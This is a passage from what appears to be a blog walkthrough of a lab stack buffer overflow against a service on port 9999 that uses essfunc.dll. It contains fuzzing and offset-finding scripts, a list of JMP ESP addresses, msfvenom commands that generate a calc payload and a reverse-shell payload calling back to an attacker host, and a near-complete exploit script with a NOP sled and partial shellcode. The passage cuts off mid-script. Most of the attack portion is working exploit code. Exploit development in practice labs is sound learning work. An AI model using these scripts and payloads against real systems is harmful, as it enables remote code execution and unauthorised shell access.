&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.X.X.X&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# Your VM IP
&lt;/span&gt;&lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;
&lt;span class="n"&gt;TIMEOUT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;USERNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;imgonnah4cku&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TIMEOUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USERNAME&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Fuzzing with &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; bytes...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;latin-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Crashed at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; bytes: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first thing I saw was that it reported that the app crashed at 2600 bytes with a broken pipe, but I would quickly discover this was wrong in the future. Why? Idk, maybe an issue with detecting crashes or something similar, but I eventually found it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the EIP Offset
&lt;/h3&gt;

&lt;p&gt;Using Metasploit's pattern generator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb &lt;span class="nt"&gt;-l&lt;/span&gt; 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I created a test script with the cyclic pattern and ran it against the target in Immunity Debugger:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;VM_IP&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;
&lt;span class="n"&gt;USERNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;imgonnah4cku&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;cyclic_pattern_3000_chars&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USERNAME&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;latin-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using mona: &lt;code&gt;!mona findmsp -distance 3000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then we got our EIP offset: 2012 bytes.&lt;/p&gt;

&lt;h3&gt;
  
  
  First Exploitation Attempt
&lt;/h3&gt;

&lt;p&gt;I tried the classic approach with a simple EIP overwrite test:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2012&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BBBB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2600&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2016&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This didn't work as expected. After more testing (which was to brute force different potential lengths because I didn't and still don't know why the fuzzer didn't work, what matters is to know that code is never flawless, and sometimes it doesn't even need to work, because as I already mentioned I just brute-forced it), I discovered the actual crash length was 2895 bytes, not 2600. So I changed this up a little bit to be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2012&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BBBB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2895&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2016&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then finally with this EIP was overwritten to 4 Bs!&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding JMP ESP Instructions
&lt;/h3&gt;

&lt;p&gt;Using Immunity Debugger, I found multiple &lt;code&gt;jmp esp&lt;/code&gt; instructions in the DLL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Address    Function         Instruction
625014E0   _EssentialFunc2  jmp esp
625014EC   _EssentialFunc3  jmp esp  
625014F8   _EssentialFunc4  jmp esp
62501504   _EssentialFunc5  jmp esp
62501510   _EssentialFunc6  jmp esp
6250151C   _EssentialFunc7  jmp esp
62501528   _EssentialFunc8  jmp esp
62501534   _EssentialFunc9  jmp esp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This wasn't straightforward though, I LITERALLY wasted like 2 HOURS trying to see why in the world I was seeing a weird "privileged action" (or something around those lines) error, eventually I discovered it was because the addresses IDA gave where for whatever reason slightly off (probably I'm just dumb and got the address of the &lt;strong&gt;functions&lt;/strong&gt; were the &lt;code&gt;JMP ESP&lt;/code&gt; instruction was, instead of the address of &lt;code&gt;JMP ESP&lt;/code&gt; itself) and all of them pointed to an opcode that was &lt;code&gt;E4 FF&lt;/code&gt; which in human-readable is &lt;code&gt;IN AL,0FF&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq1h5czgx704yhgvexqmj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq1h5czgx704yhgvexqmj.png" alt="a screenshot of the wrong address" width="800" height="745"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So therefore when EIP went to this address the program suffered 3 strokes and just crashed. Conclusion: just use &lt;code&gt;!mona find -s "\xff\xe4" -m essfunc.dll&lt;/code&gt; pls, which gives you the possibility to get the EXACT address of any combination of bytes. also always verify that the address goes where you think it goes, the IDA addresses went where they shouldn't, while the ones found by &lt;code&gt;mona.py&lt;/code&gt; were perfect:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdgai4yr8bmcn9j2995p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbdgai4yr8bmcn9j2995p.png" alt="a screenshot of a correct address" width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Shellcode Generation
&lt;/h3&gt;

&lt;p&gt;The cool part: looking how metasploit generates payloads that are in pure shellcode and feel like a hacker movie &amp;gt;:D&lt;/p&gt;

&lt;p&gt;First I did a simple payload that runs the calculator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/exec &lt;span class="nv"&gt;CMD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;calc.exe &lt;span class="nt"&gt;-f&lt;/span&gt; python &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;00"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is one is great for buffer overflows because it's small and great for testing, and after you get it to work it's almost ensured a reverse shell will do as nicely.&lt;/p&gt;

&lt;p&gt;Talking about reverse shells:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;YOUR_IP &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;YOUR_PORT &lt;span class="nt"&gt;-f&lt;/span&gt; python &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;00&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0a&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;0d"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When running your exploit you might want to add some breakpoints (I recommend just as the address of the &lt;code&gt;JMP ESP&lt;/code&gt; instruction you are using) and run &lt;code&gt;u esp&lt;/code&gt; which shows you the disassembling of &lt;code&gt;esp&lt;/code&gt;. Then verify it properly contains a NOP sled (essential almost always) and then your stuff:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcs6yo7j2w71g5phonnp9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcs6yo7j2w71g5phonnp9.png" alt="a screenshot of how the disassembly of esp should look like" width="800" height="794"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Working Exploit
&lt;/h2&gt;

&lt;p&gt;Here's the complete, tested exploit I eventually made that got me a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.X.X.X&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# Target IP
&lt;/span&gt;&lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;
&lt;span class="n"&gt;TIMEOUT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;USERNAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;imgonnah4cku&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# this can be anything
&lt;/span&gt;
&lt;span class="c1"&gt;# msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f python -b "\x00\x0a\x0d"
# or any other msfvenom payload that'll work
&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xd9\xcc\xbf\x39\x0d\x9d\x41\xd9\x74\x24\xf4\x5d&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc9\xb1\x52\x31\x7d\x17\x83\xc5\x04\x03\x44&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="c1"&gt;# ... (rest of shellcode)
&lt;/span&gt;
&lt;span class="n"&gt;offset_to_eip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2012&lt;/span&gt;
&lt;span class="n"&gt;jmp_esp_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x625014DF&lt;/span&gt;  &lt;span class="c1"&gt;# Working address, though it can be any of the ones mona.py manages to find
&lt;/span&gt;&lt;span class="n"&gt;eip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jmp_esp_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;nop_sled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;

&lt;span class="c1"&gt;# Calculate padding
&lt;/span&gt;&lt;span class="n"&gt;total_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2895&lt;/span&gt;
&lt;span class="n"&gt;padding_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;total_length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;offset_to_eip&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nop_sled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Build final payload
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;offset_to_eip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;eip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;nop_sled&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;padding_length&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
